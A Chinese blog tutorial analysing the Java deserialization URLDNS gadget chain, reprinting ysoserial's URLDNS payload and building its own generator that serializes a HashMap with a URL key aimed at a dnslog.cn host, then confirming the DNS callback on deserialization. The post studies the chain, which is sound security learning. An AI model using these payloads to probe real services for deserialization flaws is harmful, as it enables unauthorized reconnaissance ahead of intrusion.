URLDNS链分析

调用链跟踪

这条链的起始是采用了HashMap作为入口,为什么采用HashMap作为入口?

首先HashMap是可以被序列化的:

然后序列化的时候会调用HashMap重写的readObject方法,在readObject方法的最后调用了hash函数计算key的哈希值:

在hash函数中,会调用key的hashCode方法:

然后再URL类中,存在同名方法hashCode:

跟进去,发现会调用getHostAddress方法,此方法将会进行一次DNS查询。

因此调用链如下:

HashMap->readObject()

​ hash()

​ URL->hashCode()

​ getHostAddress()

ysoserial的URLDNS链如下:

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
......
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

然后注意到中间集成了一个URLStreamHandler类,然后还进行了一次反射,这是因为,最开始调用put的时候,为了不触发URLDNS,就重写了这个getHostAddress方法,返回一个null;进行反射是因为我们要想走进去调用链,URL的hashCode属性必须为-1,最开始的时候调用put函数,哈希值被计算了一次,此时的hashCode被改掉了,所以需要反射修改。

自己写个链

首先我们先看如果不继承的话会出现什么情况:

import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DNS {

public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://3dsmkp.dnslog.cn/");
hashmap.put(url, 1);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("URL.ser"));
objectOutputStream.writeObject(hashmap);
}
}

此时的hashCode为-1,因此会发起一次dns请求:

然后等到我们准备序列化写入文件时,此时的hashCode的值已经被哈希覆写掉了:

那么可想而知,当我们反序列化的时候,必定不会成功,因为hashCode的值不再是-1了。

那么除了继承方法外,还可以怎么做呢?其实还可以提前用反射的方法对hashCode的值进行篡改,当我们put完之后,再把hashCode的值改回-1:

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DNS {

public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://3dsmkp.dnslog.cn/");
// 更改url对象的hashcode为999
Class<? extends URL> c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
// URL的hashCode是private类型,所以要设置权限
hashCode.setAccessible(true);
hashCode.set(url, 999);

hashmap.put(url, 1);

// put完之后再把hashCode改为-1,确保反序列化成功
hashCode.set(url, -1);

ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("URL.ser"));
objectOutputStream.writeObject(hashmap);

}
}

然后在测试类中测试反序列化结果:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class SerTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("URL.ser"));
objectInputStream.readObject();
}
}

利用成功:

文章作者: Alex
文章链接: http://example.com/2023/07/14/Java-Ser-URLDNS/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~